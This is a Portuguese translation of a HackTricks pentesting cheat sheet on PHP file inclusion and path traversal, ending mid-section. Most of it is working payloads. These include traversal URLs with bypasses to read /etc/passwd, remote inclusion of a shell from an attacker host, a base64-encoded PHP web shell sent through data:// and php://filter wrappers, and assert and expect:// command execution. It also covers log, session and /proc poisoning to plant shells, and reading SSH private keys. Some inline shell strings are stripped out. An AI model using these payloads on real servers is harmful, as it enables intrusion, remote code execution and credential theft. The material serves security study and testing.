# Inclusão de Arquivo/Travessia de Caminho
Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)! Outras formas de apoiar o HackTricks: * Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com) * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
Junte-se ao servidor [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para se comunicar com hackers experientes e caçadores de recompensas por bugs! **Percepções de Hacking**\ Envolver-se com conteúdo que mergulha na emoção e desafios do hacking **Notícias de Hacking em Tempo Real**\ Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e insights em tempo real **Últimos Anúncios**\ Fique informado sobre os mais recentes programas de recompensas por bugs lançados e atualizações cruciais na plataforma **Junte-se a nós no** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e comece a colaborar com os melhores hackers hoje! ## Inclusão de Arquivo **Inclusão de Arquivo Remoto (RFI):** O arquivo é carregado de um servidor remoto (Melhor: Você pode escrever o código e o servidor irá executá-lo). Em php isso é **desativado** por padrão (**allow\_url\_include**).\ **Inclusão de Arquivo Local (LFI):** O servidor carrega um arquivo local. A vulnerabilidade ocorre quando o usuário pode controlar de alguma forma o arquivo que será carregado pelo servidor. **Funções PHP vulneráveis**: require, require\_once, include, include\_once Uma ferramenta interessante para explorar essa vulnerabilidade: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap) ## Cegos - Interessantes - Arquivos LFI2RCE ```python wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ ``` ### **Linux** **Misturando várias listas LFI \*nix e adicionando mais caminhos, criei esta:** {% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt" %} Tente também trocar `/` por `\`\ Tente também adicionar `../../../../../` Uma lista que usa várias técnicas para encontrar o arquivo /etc/password (para verificar se a vulnerabilidade existe) pode ser encontrada [aqui](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) ### **Windows** Mesclagem de diferentes listas de palavras: {% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt" %} Tente também trocar `/` por `\`\ Tente também remover `C:/` e adicionar `../../../../../` Uma lista que usa várias técnicas para encontrar o arquivo /boot.ini (para verificar se a vulnerabilidade existe) pode ser encontrada [aqui](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) ### **OS X** Verifique a lista LFI do Linux. ## LFI básico e bypasses Todos os exemplos são para Inclusão de Arquivo Local, mas podem ser aplicados também à Inclusão de Arquivo Remoto (página=[http://meuserver.com/phpshellcode.txt\\](http://meuserver.com/phpshellcode.txt\)/). ``` http://example.com/index.php?page=../../../etc/passwd ``` ### sequências de travessia removidas de forma não recursiva ```python http://example.com/index.php?page=....//....//....//etc/passwd http://example.com/index.php?page=....\/....\/....\/etc/passwd http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd ``` ### **Byte nulo (%00)** Bypass para adicionar mais caracteres no final da string fornecida (bypass de: $\_GET\['param']."php") ``` http://example.com/index.php?page=../../../etc/passwd%00 ``` Isso está **resolvido desde o PHP 5.4** ### **Codificação** Você poderia usar codificações não padrão como dupla codificação de URL (e outras): ``` http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00 ``` ### Da pasta existente Talvez o back-end esteja verificando o caminho da pasta: ```python http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd ``` ### Explorando Diretórios do Sistema de Arquivos em um Servidor O sistema de arquivos de um servidor pode ser explorado de forma recursiva para identificar diretórios, não apenas arquivos, empregando certas técnicas. Esse processo envolve determinar a profundidade do diretório e sondar a existência de pastas específicas. Abaixo está um método detalhado para alcançar isso: 1. **Determinar a Profundidade do Diretório:** Averigue a profundidade do seu diretório atual ao obter com sucesso o arquivo `/etc/passwd` (aplicável se o servidor for baseado em Linux). Um URL de exemplo pode ser estruturado da seguinte forma, indicando uma profundidade de três: ```bash http://example.com/index.php?page=../../../etc/passwd # depth of 3 ``` 2. **Sonda de Pastas:** Adicione o nome da pasta suspeita (por exemplo, `private`) à URL e, em seguida, navegue de volta para `/etc/passwd`. O nível adicional de diretório requer incrementar a profundidade em um: ```bash http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4 ``` 3. **Interpretar os Resultados:** A resposta do servidor indica se a pasta existe: * **Erro / Sem Saída:** A pasta `private` provavelmente não existe no local especificado. * **Conteúdo de `/etc/passwd`:** A presença da pasta `private` é confirmada. 4. **Exploração Recursiva:** As pastas descobertas podem ser investigadas para subdiretórios ou arquivos adicionais usando a mesma técnica ou métodos tradicionais de Inclusão de Arquivos Locais (LFI). Para explorar diretórios em diferentes locais no sistema de arquivos, ajuste a carga útil conforme necessário. Por exemplo, para verificar se `/var/www/` contém um diretório `private` (assumindo que o diretório atual está a uma profundidade de 3), use: ```bash http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd ``` ### **Técnica de Truncamento de Caminho** O truncamento de caminho é um método utilizado para manipular caminhos de arquivos em aplicações web. É frequentemente usado para acessar arquivos restritos, contornando certas medidas de segurança que adicionam caracteres adicionais ao final dos caminhos de arquivos. O objetivo é criar um caminho de arquivo que, uma vez alterado pela medida de segurança, ainda aponte para o arquivo desejado. Em PHP, várias representações de um caminho de arquivo podem ser consideradas equivalentes devido à natureza do sistema de arquivos. Por exemplo: * `/etc/passwd`, `/etc//passwd`, `/etc/./passwd` e `/etc/passwd/` são tratados como o mesmo caminho. * Quando os últimos 6 caracteres são `passwd`, acrescentar um `/` (tornando-o `passwd/`) não altera o arquivo alvo. * Da mesma forma, se `.php` for acrescentado a um caminho de arquivo (como `shellcode.php`), adicionar um `/.` no final não alterará o arquivo sendo acessado. Os exemplos fornecidos demonstram como utilizar o truncamento de caminho para acessar `/etc/passwd`, um alvo comum devido ao seu conteúdo sensível (informações de conta de usuário): ``` http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE].... http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././. ``` ``` http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd ``` Nesses cenários, o número de travessias necessárias pode ser em torno de 2027, mas esse número pode variar com base na configuração do servidor. * **Usando Segmentos de Ponto e Caracteres Adicionais**: Sequências de travessia (`../`) combinadas com segmentos de ponto extras e caracteres podem ser usadas para navegar no sistema de arquivos, ignorando efetivamente as strings anexadas pelo servidor. * **Determinando o Número Necessário de Travessias**: Através de tentativa e erro, é possível encontrar o número preciso de sequências `../` necessárias para navegar até o diretório raiz e depois para `/etc/passwd`, garantindo que quaisquer strings anexadas (como `.php`) sejam neutralizadas, mas o caminho desejado (`/etc/passwd`) permaneça intacto. * **Começando com um Diretório Falso**: É uma prática comum começar o caminho com um diretório inexistente (como `a/`). Essa técnica é usada como medida de precaução ou para atender aos requisitos da lógica de análise de caminho do servidor. Ao empregar técnicas de truncamento de caminho, é crucial entender o comportamento de análise de caminho do servidor e a estrutura do sistema de arquivos. Cada cenário pode exigir uma abordagem diferente, e testes são frequentemente necessários para encontrar o método mais eficaz. **Essa vulnerabilidade foi corrigida no PHP 5.3.** ### **Truques de bypass de filtro** ``` http://example.com/index.php?page=....//....//etc/passwd http://example.com/index.php?page=..///////..////..//////etc/passwd http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd http://example.com/index.php?page=PhP://filter ``` ## Inclusão de Arquivo Remoto No PHP, isso é desativado por padrão porque **`allow_url_include`** está **Off.** Deve estar **On** para funcionar e, nesse caso, você poderia incluir um arquivo PHP do seu servidor e obter RCE: ```python http://example.com/index.php?page=http://atacker.com/mal.php http://example.com/index.php?page=\\attacker.com\shared\mal.php ``` Se por algum motivo **`allow_url_include`** estiver **Ativado**, mas o PHP estiver **filtrando** o acesso a páginas da web externas, [de acordo com este post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), você poderia, por exemplo, usar o protocolo de dados com base64 para decodificar um código PHP b64 e obter RCE: {% code overflow="wrap" %} ``` PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt ``` {% endcode %} {% hint style="info" %} No código anterior, o `+.txt` final foi adicionado porque o atacante precisava de uma string que terminasse em `.txt`, então a string termina com isso e após a decodificação b64, essa parte retornará apenas lixo e o código PHP real será incluído (e, portanto, executado). {% endhint %} Outro exemplo **sem usar o protocolo `php://`** seria: ``` data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt ``` {% endcode %} ## Elemento raiz do Python Em python em um código como este: ```python # file_name is controlled by a user os.path.join(os.getcwd(), "public", file_name) ``` Se o usuário passar um **caminho absoluto** para **`file_name`**, o **caminho anterior é simplesmente removido**: ```python os.path.join(os.getcwd(), "public", "/etc/passwd") '/etc/passwd' ``` É o comportamento pretendido de acordo com [a documentação](https://docs.python.org/3.10/library/os.path.html#os.path.join): > Se um componente for um caminho absoluto, todos os componentes anteriores são descartados e a junção continua a partir do componente de caminho absoluto. ## Listagem de Diretórios em Java Parece que se você tiver uma Traversal de Caminho em Java e **solicitar um diretório** em vez de um arquivo, uma **listagem do diretório é retornada**. Isso não acontecerá em outras linguagens (pelo que sei). ## Top 25 parâmetros Aqui está a lista dos 25 principais parâmetros que podem ser vulneráveis a vulnerabilidades de inclusão de arquivo local (LFI) (de [link](https://twitter.com/trbughunters/status/1279768631845494787)): ``` ?cat={payload} ?dir={payload} ?action={payload} ?board={payload} ?date={payload} ?detail={payload} ?file={payload} ?download={payload} ?path={payload} ?folder={payload} ?prefix={payload} ?include={payload} ?page={payload} ?inc={payload} ?locate={payload} ?show={payload} ?doc={payload} ?site={payload} ?type={payload} ?view={payload} ?content={payload} ?document={payload} ?layout={payload} ?mod={payload} ?conf={payload} ``` ## LFI / RFI usando wrappers e protocolos PHP ### php://filter Os filtros PHP permitem realizar operações básicas de modificação nos dados antes de serem lidos ou escritos. Existem 5 categorias de filtros: * [Filtros de String](https://www.php.net/manual/en/filters.string.php): * `string.rot13` * `string.toupper` * `string.tolower` * `string.strip_tags`: Remove as tags dos dados (tudo entre os caracteres "<" e ">") * Note que este filtro desapareceu das versões modernas do PHP * [Filtros de Conversão](https://www.php.net/manual/en/filters.convert.php) * `convert.base64-encode` * `convert.base64-decode` * `convert.quoted-printable-encode` * `convert.quoted-printable-decode` * `convert.iconv.*` : Transforma para uma codificação diferente (`convert.iconv..`). Para obter a **lista de todas as codificações** suportadas, execute no console: `iconv -l` {% hint style="warning" %} Ao abusar do filtro de conversão `convert.iconv.*`, você pode **gerar texto arbitrário**, o que pode ser útil para escrever texto arbitrário ou fazer um processo de inclusão de texto arbitrário. Para mais informações, consulte [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md). {% endhint %} * [Filtros de Compressão](https://www.php.net/manual/en/filters.compression.php) * `zlib.deflate`: Comprime o conteúdo (útil se estiver extraindo muitas informações) * `zlib.inflate`: Descomprime os dados * [Filtros de Criptografia](https://www.php.net/manual/en/filters.encryption.php) * `mcrypt.*` : Obsoleto * `mdecrypt.*` : Obsoleto * Outros Filtros * Executando em PHP `var_dump(stream_get_filters());` você pode encontrar alguns **filtros inesperados**: * `consumed` * `dechunk`: inverte a codificação chunked HTTP * `convert.*` ```php # String Filters ## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd"); ## Same chain without the "|" char echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd"); ## string.string_tags example echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,Boldlalalala"); # Conversion filter ## B64 decode echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8="); ## Chain B64 encode and decode echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd"); ## convert.quoted-printable-encode example echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo="); =C2=A3hellooo=3D ## convert.iconv.utf-8.utf-16le echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo="); # Compresion Filter ## Compress + B64 echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd"); readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally # note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient) ``` {% hint style="warning" %} A parte "php://filter" é case insensitive {% endhint %} ### Usando filtros php como oráculo para ler arquivos arbitrários [**Neste post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) é proposta uma técnica para ler um arquivo local sem ter a saída retornada pelo servidor. Esta técnica é baseada em uma **exfiltração booleana do arquivo (caractere por caractere) usando filtros php** como oráculo. Isso ocorre porque os filtros php podem ser usados para tornar um texto grande o suficiente para fazer o php lançar uma exceção. No post original, você pode encontrar uma explicação detalhada da técnica, mas aqui está um resumo rápido: - Use o codec **`UCS-4LE`** para deixar o caractere principal do texto no início e aumentar exponencialmente o tamanho da string. - Isso será usado para gerar um **texto tão grande quando a letra inicial é adivinhada corretamente** que o php irá disparar um **erro** - O filtro **dechunk** irá **remover tudo se o primeiro caractere não for um hexadecimal**, então podemos saber se o primeiro caractere é hexadecimal. - Isso, combinado com o anterior (e outros filtros dependendo da letra adivinhada), nos permitirá adivinhar uma letra no início do texto ao ver quando fazemos transformações suficientes para que não seja mais um caractere hexadecimal. Porque se for hexadecimal, dechunk não o deletará e a bomba inicial fará o php gerar um erro. - O codec **convert.iconv.UNICODE.CP930** transforma cada letra na seguinte (então após este codec: a -> b). Isso nos permite descobrir se a primeira letra é um `a`, por exemplo, porque se aplicarmos 6 vezes este codec a->b->c->d->e->f->g a letra não será mais um caractere hexadecimal, portanto dechunk não o deletará e o erro do php será acionado porque ele multiplica com a bomba inicial. - Usando outras transformações como **rot13** no início, é possível vazar outras letras como n, o, p, q, r (e outros codecs podem ser usados para mover outras letras para a faixa hexadecimal). - Quando o caractere inicial é um número, é necessário codificá-lo em base64 e vazar as 2 primeiras letras para vazar o número. - O problema final é ver **como vazar mais do que a letra inicial**. Usando filtros de memória de ordem como **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** é possível alterar a ordem dos caracteres e obter em primeira posição outras letras do texto. - E para ser capaz de obter **mais dados**, a ideia é **gerar 2 bytes de dados inúteis no início** com **convert.iconv.UTF16.UTF16**, aplicar **UCS-4LE** para fazer com que ele **gire com os próximos 2 bytes**, e **excluir os dados até os dados inúteis** (isso removerá os primeiros 2 bytes do texto inicial). Continue fazendo isso até atingir o bit desejado para vazar. No post, uma ferramenta para realizar isso automaticamente também foi vazada: [php\_filters\_chain\_oracle\_exploit](https://github.com/synacktiv/php\_filter\_chains\_oracle\_exploit). ### php://fd Este wrapper permite acessar descritores de arquivo que o processo tem abertos. Potencialmente útil para exfiltrar o conteúdo de arquivos abertos: ```php echo file_get_contents("php://fd/3"); $myfile = fopen("/etc/passwd", "r"); ``` Você também pode usar **php://stdin, php://stdout e php://stderr** para acessar os **descritores de arquivo 0, 1 e 2** respectivamente (não tenho certeza de como isso poderia ser útil em um ataque) ### zip:// e rar:// Faça upload de um arquivo Zip ou Rar com um PHPShell dentro e acesse-o.\ Para poder abusar do protocolo rar, ele **precisa ser ativado especificamente**. ```bash echo "
" > payload.php; zip payload.zip payload.php; mv payload.zip shell.jpg; rm payload.php http://example.com/index.php?page=zip://shell.jpg%23payload.php # To compress with rar rar a payload.rar payload.php; mv payload.rar shell.jpg; rm payload.php http://example.com/index.php?page=rar://shell.jpg%23payload.php ``` ### data:// O esquema `data://` permite incluir dados diretamente no código-fonte de uma página da web, sem a necessidade de um arquivo externo. Isso pode ser explorado por invasores para inserir código malicioso e executá-lo no contexto do site vulnerável. ``` http://example.net/?page=data://text/plain, http://example.net/?page=data://text/plain, http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4= http://example.net/?page=data:text/plain, http://example.net/?page=data:text/plain, http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4= NOTE: the payload is "" ``` Note que este protocolo é restrito pelas configurações do php **`allow_url_open`** e **`allow_url_include`** ### expect:// O Expect deve estar ativado. Você pode executar código usando isso: ``` http://example.com/index.php?page=expect://id http://example.com/index.php?page=expect://ls ``` ### input:// Especifique sua carga útil nos parâmetros POST: ```bash curl -XPOST "http://example.com/index.php?page=php://input" --data "" ``` ### phar:// Um arquivo `.phar` pode ser utilizado para executar código PHP quando uma aplicação web utiliza funções como `include` para carregamento de arquivos. O trecho de código PHP fornecido abaixo demonstra a criação de um arquivo `.phar`: ```php startBuffering(); $phar->addFromString('test.txt', 'text'); $phar->setStub(''); $phar->stopBuffering(); ``` Para compilar o arquivo `.phar`, o seguinte comando deve ser executado: ```bash php --define phar.readonly=0 create_path.php ``` Ao ser executado, um arquivo chamado `test.phar` será criado, o qual poderia ser potencialmente utilizado para explorar vulnerabilidades de Inclusão Local de Arquivos (LFI). Nos casos em que o LFI apenas realiza a leitura de arquivos sem executar o código PHP dentro deles, por meio de funções como `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, ou `filesize()`, a exploração de uma vulnerabilidade de desserialização poderia ser tentada. Essa vulnerabilidade está associada à leitura de arquivos usando o protocolo `phar`. Para uma compreensão detalhada da exploração de vulnerabilidades de desserialização no contexto de arquivos `.phar`, consulte o documento vinculado abaixo: [Guia de Exploração de Desserialização de Phar](phar-deserialization.md) {% content-ref url="phar-deserialization.md" %} [phar-deserialization.md](phar-deserialization.md) {% endcontent-ref %} ### Mais protocolos Confira mais possíveis [**protocolos para incluir aqui**](https://www.php.net/manual/en/wrappers.php)**:** * [php://memory e php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Escrever na memória ou em um arquivo temporário (não tenho certeza de como isso pode ser útil em um ataque de inclusão de arquivos) * [file://](https://www.php.net/manual/en/wrappers.file.php) — Acessar o sistema de arquivos local * [http://](https://www.php.net/manual/en/wrappers.http.php) — Acessar URLs HTTP(s) * [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Acessar URLs FTP(s) * [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Fluxos de compressão * [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Encontrar caminhos que correspondem a um padrão (não retorna nada imprimível, então não é realmente útil aqui) * [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2 * [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Fluxos de áudio (Não útil para ler arquivos arbitrários) ## LFI via 'assert' do PHP Os riscos de Inclusão Local de Arquivos (LFI) em PHP são especialmente altos ao lidar com a função 'assert', que pode executar código dentro de strings. Isso é particularmente problemático se a entrada contiver caracteres de travessia de diretório como ".." e não estiver sendo devidamente sanitizada. Por exemplo, o código PHP pode ser projetado para prevenir a travessia de diretórios da seguinte forma: ```bash assert("strpos('$file', '..') === false") or die(""); ``` Embora isso tenha como objetivo impedir a travessia, acaba inadvertidamente criando um vetor para injeção de código. Para explorar isso e ler o conteúdo do arquivo, um atacante poderia usar: ```plaintext ' and die(highlight_file('/etc/passwd')) or ' ``` Da mesma forma, para executar comandos de sistema arbitrários, pode-se usar: ```plaintext ' and die(system("id")) or ' ``` É importante **codificar esses payloads em URL**.
Junte-se ao [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server para se comunicar com hackers experientes e caçadores de bugs! **Percepções de Hacking**\ Engaje-se com conteúdo que explora a emoção e os desafios do hacking **Notícias de Hacking em Tempo Real**\ Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e percepções em tempo real **Últimos Anúncios**\ Fique informado sobre os novos programas de recompensas por bugs lançados e atualizações cruciais na plataforma **Junte-se a nós no** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e comece a colaborar com os melhores hackers hoje! ## Traversão de Caminho PHP às Cegas {% hint style="warning" %} Esta técnica é relevante em casos onde você **controla** o **caminho do arquivo** de uma **função PHP** que irá **acessar um arquivo** mas você não verá o conteúdo do arquivo (como uma simples chamada para **`file()`**) mas o conteúdo não é exibido. {% endhint %} Neste [**post incrível**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) é explicado como uma travessia de caminho às cegas pode ser abusada via filtro PHP para **exfiltrar o conteúdo de um arquivo via um oráculo de erro**. Em resumo, a técnica utiliza a codificação **"UCS-4LE"** para tornar o conteúdo de um arquivo tão **grande** que a **função PHP que abre** o arquivo irá disparar um **erro**. Em seguida, para vazar o primeiro caractere, o filtro **`dechunk`** é usado juntamente com outros como **base64** ou **rot13** e, finalmente, os filtros **convert.iconv.UCS-4.UCS-4LE** e **convert.iconv.UTF16.UTF-16BE** são usados para **colocar outros caracteres no início e vazá-los**. **Funções que podem ser vulneráveis**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (somente alvo somente leitura com isso)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs` Para detalhes técnicos, confira o post mencionado! ## LFI2RCE ### Inclusão Remota de Arquivos Explicado anteriormente, [**siga este link**](./#remote-file-inclusion). ### Via arquivo de log do Apache/Nginx Se o servidor Apache ou Nginx for **vulnerável a LFI** dentro da função de inclusão, você pode tentar acessar **`/var/log/apache2/access.log` ou `/var/log/nginx/access.log`**, definir dentro do **agente do usuário** ou dentro de um **parâmetro GET** um shell php como **``** e incluir esse arquivo {% hint style="warning" %} Observe que **se você usar aspas duplas** para o shell em vez de **aspas simples**, as aspas duplas serão modificadas para a string "_**quote;**_", **o PHP lançará um erro** e **nada mais será executado**. Além disso, certifique-se de **escrever corretamente o payload** ou o PHP irá gerar erro sempre que tentar carregar o arquivo de log e você não terá uma segunda oportunidade. {% endhint %} Isso também poderia ser feito em outros logs, mas **tenha cuidado**, o código dentro dos logs poderia estar codificado em URL e isso poderia destruir o Shell. O cabeçalho **autorização "básica"** contém "usuário:senha" em Base64 e é decodificado dentro dos logs. O PHPShell poderia ser inserido dentro deste cabeçalho.\ Outros possíveis caminhos de logs: ```python /var/log/apache2/access.log /var/log/apache/access.log /var/log/apache2/error.log /var/log/apache/error.log /usr/local/apache/log/error_log /usr/local/apache2/log/error_log /var/log/nginx/access.log /var/log/nginx/error.log /var/log/httpd/error_log ``` ### Via Email **Enviar um e-mail** para uma conta interna (user@localhost) contendo seu payload PHP como `` e tentar incluir no e-mail do usuário com um caminho como **`/var/mail/`** ou **`/var/spool/mail/`** ### Via /proc/\*/fd/\* 1. Faça upload de muitas shells (por exemplo: 100) 2. Inclua [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), com $PID = PID do processo (pode ser forçado bruto) e $FD o descritor de arquivo (também pode ser forçado bruto) ### Via /proc/self/environ Como um arquivo de log, envie o payload no User-Agent, ele será refletido dentro do arquivo /proc/self/environ ``` GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1 User-Agent: ``` ### Via upload Se você pode fazer upload de um arquivo, basta injetar o payload do shell nele (por exemplo: ``). ``` http://example.com/index.php?page=path/to/uploaded/file.png ``` Para manter o arquivo legível, é melhor injetar nos metadados das imagens/doc/pdf ### Via upload de arquivo Zip Faça o upload de um arquivo ZIP contendo um shell PHP comprimido e acesse: ```python example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php ``` ### Através de sessões PHP Verifique se o site utiliza Sessão PHP (PHPSESSID) ``` Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/ Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly ``` No PHP, essas sessões são armazenadas nos arquivos _/var/lib/php5/sess\\_\[PHPSESSID]\_ ``` /var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27. user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin"; ``` Defina o cookie para `` ``` login=1&user=&pass=password&lang=en_us.php ``` Utilize o LFI para incluir o arquivo de sessão PHP ``` login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2 ``` ### Via ssh Se o ssh estiver ativo, verifique qual usuário está sendo usado (/proc/self/status & /etc/passwd) e tente acessar **\/.ssh/id\_rsa** ### **Via** **vsftpd** _**logs**_ Os logs do servidor FTP vsftpd estão localizados em _**/var/log/vsftpd.log**_. No cenário em que existe uma vulnerabilidade de Inclusão de Arquivo Local (LFI) e o acesso a um servidor vsftpd exposto é possível, os seguintes passos podem ser considerados: 1. Injete um payload PHP no campo de nome de usuário durante o processo de login. 2. Após a injeção, utilize o LFI para recuperar os logs do servidor em _**/var/log/vsftpd.log**_. ### Via php base64 filter (usando base64) Conforme mostrado [neste](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) artigo, o filtro base64 do PHP simplesmente ignora o Non-base64. Você pode usar isso para burlar a verificação da extensão do arquivo: se você fornecer base64 que termina com ".php", ele simplesmente ignora o "." e anexa "php" ao base64. Aqui está um exemplo de payload: ```url http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php NOTE: the payload is "" ``` ### Através de filtros php (sem necessidade de arquivo) Este [**writeup**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explica que você pode usar **filtros php para gerar conteúdo arbitrário** como saída. O que basicamente significa que você pode **gerar código php arbitrário** para a inclusão **sem precisar escrevê-lo** em um arquivo. {% content-ref url="lfi2rce-via-php-filters.md" %} [lfi2rce-via-php-filters.md](lfi2rce-via-php-filters.md) {% endcontent-ref %} ### Através de falha de segmentação **Faça upload** de um arquivo que será armazenado como **temporário** em `/tmp`, então na **mesma requisição**, acione uma **falha de segmentação**, e então o **arquivo temporário não será excluído** e você pode procurá-lo. {% content-ref url="lfi2rce-via-segmentation-fault.md" %} [lfi2rce-via-segmentation-fault.md](lfi2rce-via-segmentation-fault.md) {% endcontent-ref %} ### Através do armazenamento de arquivos temporários do Nginx Se você encontrou uma **Inclusão Local de Arquivo** e o **Nginx** está sendo executado na frente do PHP, você pode ser capaz de obter RCE com a seguinte técnica: {% content-ref url="lfi2rce-via-nginx-temp-files.md" %} [lfi2rce-via-nginx-temp-files.md](lfi2rce-via-nginx-temp-files.md) {% endcontent-ref %} ### Através de PHP\_SESSION\_UPLOAD\_PROGRESS Se você encontrou uma **Inclusão Local de Arquivo** mesmo se você **não tiver uma sessão** e `session.auto_start` estiver `Off`. Se você fornecer o **`PHP_SESSION_UPLOAD_PROGRESS`** nos dados **multipart POST**, o PHP irá **ativar a sessão para você**. Você poderia abusar disso para obter RCE: {% content-ref url="via-php_session_upload_progress.md" %} [via-php\_session\_upload\_progress.md](via-php_session_upload_progress.md) {% endcontent-ref %} ### Através de uploads de arquivos temporários no Windows Se você encontrou uma **Inclusão Local de Arquivo** e o servidor está rodando no **Windows**, você pode obter RCE: {% content-ref url="lfi2rce-via-temp-file-uploads.md" %} [lfi2rce-via-temp-file-uploads.md](lfi2rce-via-temp-file-uploads.md) {% endcontent-ref %} ### Através de phpinfo() (file\_uploads = on) Se você encontrou uma **Inclusão Local de Arquivo** e um arquivo expondo **phpinfo()** com file\_uploads = on, você pode obter RCE: {% content-ref url="lfi2rce-via-phpinfo.md" %} [lfi2rce-via-phpinfo.md](lfi2rce-via-phpinfo.md) {% endcontent-ref %} ### Através de compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Divulgação de Caminho Se você encontrou uma **Inclusão Local de Arquivo** e você **pode exfiltrar o caminho** do arquivo temporário MAS o **servidor** está **verificando** se o **arquivo a ser incluído tem marcas PHP**, você pode tentar **burlar essa verificação** com essa **Condição de Corrida**: {% content-ref url="lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md" %} 